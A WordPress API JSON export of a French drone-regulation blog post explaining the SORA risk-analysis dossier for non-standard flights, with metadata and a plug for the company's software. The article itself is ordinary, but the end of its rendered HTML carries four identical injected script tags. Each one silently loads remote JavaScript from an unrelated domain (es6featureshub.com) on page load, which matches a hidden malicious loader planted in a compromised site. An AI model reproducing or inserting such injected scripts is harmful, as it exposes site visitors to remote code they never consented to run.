{"id":2260,"date":"2022-11-04T10:31:39","date_gmt":"2022-11-04T09:31:39","guid":{"rendered":"https:\/\/drone-geofencing.fr\/?p=2260"},"modified":"2025-10-22T00:14:36","modified_gmt":"2025-10-21T22:14:36","slug":"sora-pdra-luc-passage-reglementaire-oblige-pour-les-vols-non-standards","status":"publish","type":"post","link":"https:\/\/drone-geofencing.com\/en\/sora-pdra-luc-passage-reglementaire-oblige-pour-les-vols-non-standards\/","title":{"rendered":"SORA, PDRA, LUC: mandatory regulatory passage for non-standard flights"},"content":{"rendered":"<div class=\"vc_row wpb_row vc_row-fluid mpc-row\" data-row-id=\"mpc_row-556af7c8059cf4e\"><div class=\"wpb_column vc_column_container vc_col-sm-12 mpc-column\" data-column-id=\"mpc_column-886af7c8059c9cf\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\">\n\t<div class=\"wpb_text_column wpb_content_element \">\n\t\t<div class=\"wpb_wrapper\">\n\t\t\t<div align=\"justify\">\n<p style=\"text-align: justify;\">Lorsqu&rsquo;un exploitant souhaite r&eacute;aliser une op&eacute;ration non-conforme aux sc&eacute;narios standards (nationaux ou europ&eacute;ens), il doit demander une autorisation d&rsquo;exploitation (octroy&eacute;e pour une dur&eacute;e d&rsquo;1 an maximum) &agrave; l&rsquo;autorit&eacute; de <u>son<\/u> pays en fournissant une &eacute;tude d&rsquo;analyse de risque r&eacute;alis&eacute;e par la m&eacute;thode SORA, PDRA ou LUC selon les cas.<\/p>\n<p style=\"text-align: justify;\">Dans le cadre de cet article, nous nous focaliserons sur la <strong>m&eacute;thodologie SORA<\/strong>.<\/p>\n<p style=\"text-align: justify;\">Ce dossier consiste &agrave; r&eacute;aliser une approche holistique dans le contexte de vol, permettant d&rsquo;&eacute;valuer les risques de l&rsquo;op&eacute;ration (abordage avec un autre a&eacute;ronef, crash de l&rsquo;appareil) puis de d&eacute;crire comment on entend les r&eacute;duire pour assurer la s&eacute;curit&eacute; des biens et des personnes en l&rsquo;air comme au sol.<\/p>\n<p style=\"text-align: justify;\">Le concept des op&eacute;rations d&eacute;crit dans la SORA est ins&eacute;r&eacute; dans le manuel d&rsquo;exploitation (MANEX).<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Que contient un dossier SORA<\/span>&nbsp;?<\/h3>\n<p style=\"text-align: justify;\">L&rsquo;exploitant pr&eacute;sente en introduction du dossier les conditions du vol qui motivent sa d&eacute;marche d&rsquo;utiliser un sc&eacute;nario non standard puis d&eacute;crit son concept des op&eacute;rations&nbsp;:<\/p>\n<ul>\n<li><strong>L&rsquo;environnement de vol<\/strong>\n<ul>\n<li style=\"text-align: justify;\">Localisation des op&eacute;rations pr&eacute;vues, ensemble des caract&eacute;ristiques topographiques, g&eacute;ologiques, structurelles qui y sont associ&eacute;es (reliefs, composition des sols, v&eacute;g&eacute;tations, infrastructures, etc.).<\/li>\n<li style=\"text-align: justify;\">Pr&eacute;sentation des zones de vigilance a&eacute;rienne sur et &agrave; proximit&eacute; de l&rsquo;environnement op&eacute;rationnel (zones r&eacute;glement&eacute;es, a&eacute;roports, zones naturelles, zones peupl&eacute;es, etc.) et leurs impacts sur les activit&eacute;s.<\/li>\n<li style=\"text-align: justify;\">Accords et d&eacute;rogations obtenues aupr&egrave;s des gestionnaires de ces zones.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li><strong>L&rsquo;organisation de l&rsquo;exploitant<\/strong>\n<ul>\n<li style=\"text-align: justify;\">Organisation globale de l&rsquo;exploitation (structure et organigramme)<\/li>\n<li style=\"text-align: justify;\">Inventaire des ressources humaines sollicit&eacute;es et autoris&eacute;es dans le cadre de l&rsquo;activit&eacute; (&eacute;tat-civil, dipl&ocirc;me, attestation, documents r&egrave;glementaires, etc.).<\/li>\n<li style=\"text-align: justify;\">Inventaire des drones qui seront utilis&eacute;s pour l&rsquo;op&eacute;ration : caract&eacute;ristiques techniques des &eacute;quipements utilis&eacute;s (temps de vol, distance maximale, masse&hellip;).<\/li>\n<li style=\"text-align: justify;\">Toute ajout d&rsquo;un drone (m&ecirc;me de m&ecirc;me mod&egrave;le) ou d&rsquo;un nouveau t&eacute;l&eacute;pilote n&eacute;cessitera un avenant &agrave; la SORA.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">&Agrave; noter que notre solution logicielle Gesta<strong>DRONE <\/strong>vous permet &eacute;galement de centraliser l&rsquo;ensemble de ces informations et de les mettre &agrave; jour en temps r&eacute;el.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">Dans un deuxi&egrave;me temps, l&rsquo;exploitant &eacute;value pour chaque type d&rsquo;op&eacute;ration <strong><u>et<\/u><\/strong> pour chaque mod&egrave;le les risques (au sol et a&eacute;riens) av&eacute;r&eacute;s dans le cadre d&rsquo;une approche holistique scientifique : <strong>&eacute;tude du risque sol prenant en compte l&rsquo;autonomie du drone, sa vitesse maximale, sa masse, etc.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">Enfin, l&rsquo;exploitant va construire une strat&eacute;gie visant &agrave; att&eacute;nuer les risques a&eacute;riens et au sol.<\/p>\n<ul style=\"text-align: justify;\">\n<li><strong>Adaptation des &eacute;quipements&nbsp;<\/strong>: parachute, coupe circuit, etc<\/li>\n<li><strong>Plans de formation adapt&eacute;e<\/strong><\/li>\n<li><strong>P&eacute;rim&egrave;tres de s&eacute;curit&eacute;&nbsp;: <\/strong>zone de contingence, zone tampon, etc.<\/li>\n<li><strong>Proc&eacute;dures sp&eacute;cifiques &agrave; l&rsquo;op&eacute;ration&nbsp;: <\/strong>plan d&rsquo;urgence, etc.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">Ce dossier permet d&rsquo;apporter une &eacute;tude approfondie (sur la base de calculs concrets) sur tous les &eacute;l&eacute;ments qui constituent l&rsquo;exploitation dans le but d&rsquo;anticiper et limiter les risques.<\/p>\n<p style=\"text-align: justify;\">Malgr&eacute; tout ce qui a &eacute;t&eacute; vu pr&eacute;c&eacute;demment, il faut noter que la m&eacute;thode SORA est une m&eacute;thode complexe et on&eacute;reuse qui peut prendre jusqu&rsquo;&agrave; 9 mois de r&eacute;alisation. M&ecirc;me apr&egrave;s sa r&eacute;daction, il n&rsquo;est pas certain que le dossier soit accept&eacute; par les autorit&eacute;s comp&eacute;tentes.<\/p>\n<p style=\"text-align: justify;\">Pour faciliter l&rsquo;acceptation de celui-ci, <strong>il est recommand&eacute; de faire appel &agrave; un des rares experts a&eacute;ronautiques fran&ccedil;ais maitrisant ce type de d&eacute;marche r&eacute;glementaire<\/strong> en la personne de <a href=\"https:\/\/www.linkedin.com\/in\/thierry-mohr\/\">Thierry Mohr<\/a> (<a href=\"https:\/\/www.aeropyxis.com\">Groupe Aeropyxis<\/a>).<\/p>\n<p style=\"text-align: justify;\">\n<\/p><\/div>\n\n\t\t<\/div>\n\t<\/div>\n<\/div><\/div><\/div><\/div><!-- Row Backgrounds --><div class=\"upb_bg_img\" data-ultimate-bg=\"url(https:\/\/drone-geofencing.com\/wp-content\/uploads\/2024\/06\/background_techno.png)\" data-image-id=\"id^1565|url^https:\/\/geofencing.drone-geofencing.net\/wp-content\/uploads\/2024\/06\/background_techno.png|caption^null|alt^null|title^background_techno|description^null\" data-ultimate-bg-style=\"vcpb-default\" data-bg-img-repeat=\"no-repeat\" data-bg-img-size=\"cover\" data-bg-img-position=\"\" data-parallx_sense=\"30\" data-bg-override=\"ex-full\" data-bg_img_attach=\"fixed\" data-upb-overlay-color=\"\" data-upb-bg-animation=\"\" data-fadeout=\"\" data-bg-animation=\"left-animation\" data-bg-animation-type=\"h\" data-animation-repeat=\"repeat\" data-fadeout-percentage=\"30\" data-parallax-content=\"\" data-parallax-content-sense=\"30\" data-row-effect-mobile-disable=\"true\" data-img-parallax-mobile-disable=\"true\" data-rtl=\"false\" data-custom-vc-row=\"\" data-vc=\"6.6.0.1\" data-is_old_vc=\"\" data-theme-support=\"\" data-overlay=\"false\" data-overlay-color=\"\" data-overlay-pattern=\"\" data-overlay-pattern-opacity=\"\" data-overlay-pattern-size=\"\"><\/div><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>When an operator wishes to carry out an operation that does not conform to standard scenarios (national or European), they must apply for an operating permit (granted for a maximum period of one year) from the authority in their country, providing a risk analysis study carried out using the SORA, PDRA, or LUC method, as applicable. Within the scope of this article,<\/p>","protected":false},"author":2,"featured_media":2264,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-2260","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-reglementation-drone","category-8","description-off"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.5 - aioseo.com -->\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Samuel Brau\"\/>\n\t<meta name=\"google-site-verification\" content=\"1MW1IFprhn6r8f49u_SBLyehUIY9fw64DtDAChps6JQ\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/drone-geofencing.com\/en\/sora-pdra-luc-passage-reglementaire-oblige-pour-les-vols-non-standards\/\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.5\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_GB\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Drone Geofencing\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"SORA, PDRA, LUC passage r\u00e8glementaire oblig\u00e9 pour les vols non standards - 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